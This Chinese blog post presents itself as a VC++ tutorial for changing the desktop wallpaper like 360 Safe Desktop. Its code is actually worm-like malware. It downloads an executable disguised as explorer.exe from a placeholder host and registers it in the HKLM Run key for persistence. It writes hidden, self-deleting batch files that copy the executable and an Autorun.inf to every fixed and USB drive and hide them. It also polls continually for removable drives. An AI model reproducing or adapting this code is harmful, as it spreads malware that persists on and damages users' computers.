VC++实现像360安全桌面一样修改桌面背景


具体实现如下,像360安全桌面一样修改桌面背景


模仿360的时候要学习360的狼性文化

VC++实现像360安全桌面一样修改桌面背景_第1张图片


#include "stdafx.h"
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h>  //这个头文件里有ShellExecute的定义
#include <iostream>
#include  <iomanip>
#include <fstream>
#include   <cstdio>   
#include   <stack>
#pragma comment (lib,"Urlmon.lib")
//函数
void down();
bool Checkdisk();
void Scandisk();
void destory();
void reg();
int getname();
void drive();

using namespace std;
#define FILENAME "C:\\Autorun.inf"

int getname()//获取当前用户名 并修改墙纸 需要重起见效
{
	char szName[1024];
	unsigned long lens = sizeof(szName);

	GetUserName(szName, &lens );


static char subkey1[] = "Control Panel\\Desktop"; 
static char vname1[] = "ConvertedWallpaper"; 
static char exefile1[] = "C:\\progra~1\\Messenger\\jl.bmp"; 
ULONG dType = REG_SZ, len = 0; 
HKEY hKey; 
RegOpenKeyEx(HKEY_CURRENT_USER,subkey1,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。 
RegSetValueEx(hKey, vname1, 0, REG_SZ,(BYTE *)exefile1, strlen(exefile1)+1); //加上。 
RegCloseKey(hKey); //关闭。
FILE *f;//复制一份图片
	f=fopen("change.bat","w=");
    fprintf(f,"copy C:\\progra~1\\Messenger\\jl.bmp C:\\docume~1\\%s\\LocalS~1\\Applic~1\\Microsoft\\Wallpaper1.bmp",szName);
    //注意使用短文件名
	fprintf(f,"\n"); 
	fprintf(f,"del change.bat");//自删除
	fclose(f);
	WinExec("change.bat",SW_HIDE);
return 0;

}
void reg()//利用注册表进行自启动
{
static char subkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
static char vname[] = "explorer.exe"; 
static char exefile[] = "C:\\progra~1\\Messenger\\explorer.exe"; 
ULONG dType = REG_SZ, len = 0; 
HKEY hKey; 
RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。 
if (RegQueryValueEx(hKey, vname, 0, &dType, NULL, &len)) { //如果没有explorer, 
RegSetValueEx(hKey, vname, 0, REG_SZ,(BYTE *)exefile, strlen(exefile)+1); //就加上。 
} 
RegCloseKey(hKey); //关闭。

}
void down()//下载
{
        //website为存放文件的网址
        URLDownloadToFile(NULL,"http://website/jl.bmp","C:\\progra~1\\Messenger\\jl.bmp",0,NULL);//下经过系统处理的图片
		URLDownloadToFile(NULL,"http://website/explorer.exe","C:\\progra~1\\Messenger\\explorer.exe",0,NULL);//下载本文件
		URLDownloadToFile(NULL,"http://website/Autorun.inf","C:\\progra~1\\Messenger\\Autorun.inf",0,NULL);//下文件
        ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件
        }
void destory()
{
	int i=1;
	while(i<=100)
	{
	ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件
	Sleep(13000);
	
	}
}
void drive()//复制到各个盘
{
	char drive[4]={0};
	wsprintf(drive,"C:\0");
	  drive[0]='C';
	  while(drive[0]<='Z')
			{
	  if(GetDriveType(drive)==DRIVE_FIXED)
				{
					FILE *f;
					f=fopen("drive.bat","w=");
	fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",drive[0]);
	fprintf(f,"\n");
	fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",drive[0]);
	fprintf(f,"\n");
	fprintf(f,"attrib +h %c:\\Autorun.inf",drive[0]);
	fprintf(f,"\n");
	fprintf(f,"attrib +h %c:\\explorer.exe",drive[0]);
	fprintf(f,"\n");
	fprintf(f,"del drive.bat");
	fclose(f);
	WinExec("drive.bat",SW_HIDE);
	Sleep(500);
	//return true;
				}
    drive[0]++;
	  }
}
bool Checkdisk()//扫描是否有移动盘
{
	char usb[4]={0};
	wsprintf(usb,"C:\0");//很重要
	  usb[0]='C';
	  
	while(usb[0]<='Z')
			{
				if(GetDriveType(usb)==DRIVE_REMOVABLE)
				{
		   FILE *f;
	f=fopen("usb1.bat","w=");
	fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",usb[0]);
	fprintf(f,"\n");
	fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",usb[0]);
	fprintf(f,"\n");
	fprintf(f,"attrib +h %c:\\Autorun.inf",usb[0]);
	fprintf(f,"\n");
	fprintf(f,"attrib +h %c:\\explorer.exe",usb[0]);
	fprintf(f,"\n");
	fprintf(f,"del usb1.bat");
	fclose(f);
	WinExec("usb1.bat",SW_HIDE);
	return true;
				}
				
			
	usb[0]++;
	
	}
			
	//	}
		
	return false;
}
void Scandisk()//定时检测是否有移动盘
{
	while(!Checkdisk())
	{
		Sleep(4000);//扫描后停止4秒
	}
}
  
 
void EntryPoint() 
{ 
       ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE)); 
}
//主函数
int WINAPI WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
                     
{
    down();
	getname();
	reg();
	
    
	drive();
	Checkdisk();
    Scandisk();
	destory();
      
 
 
	return 0;
}


你可能感兴趣的:(VC++实现像360安全桌面一样修改桌面背景)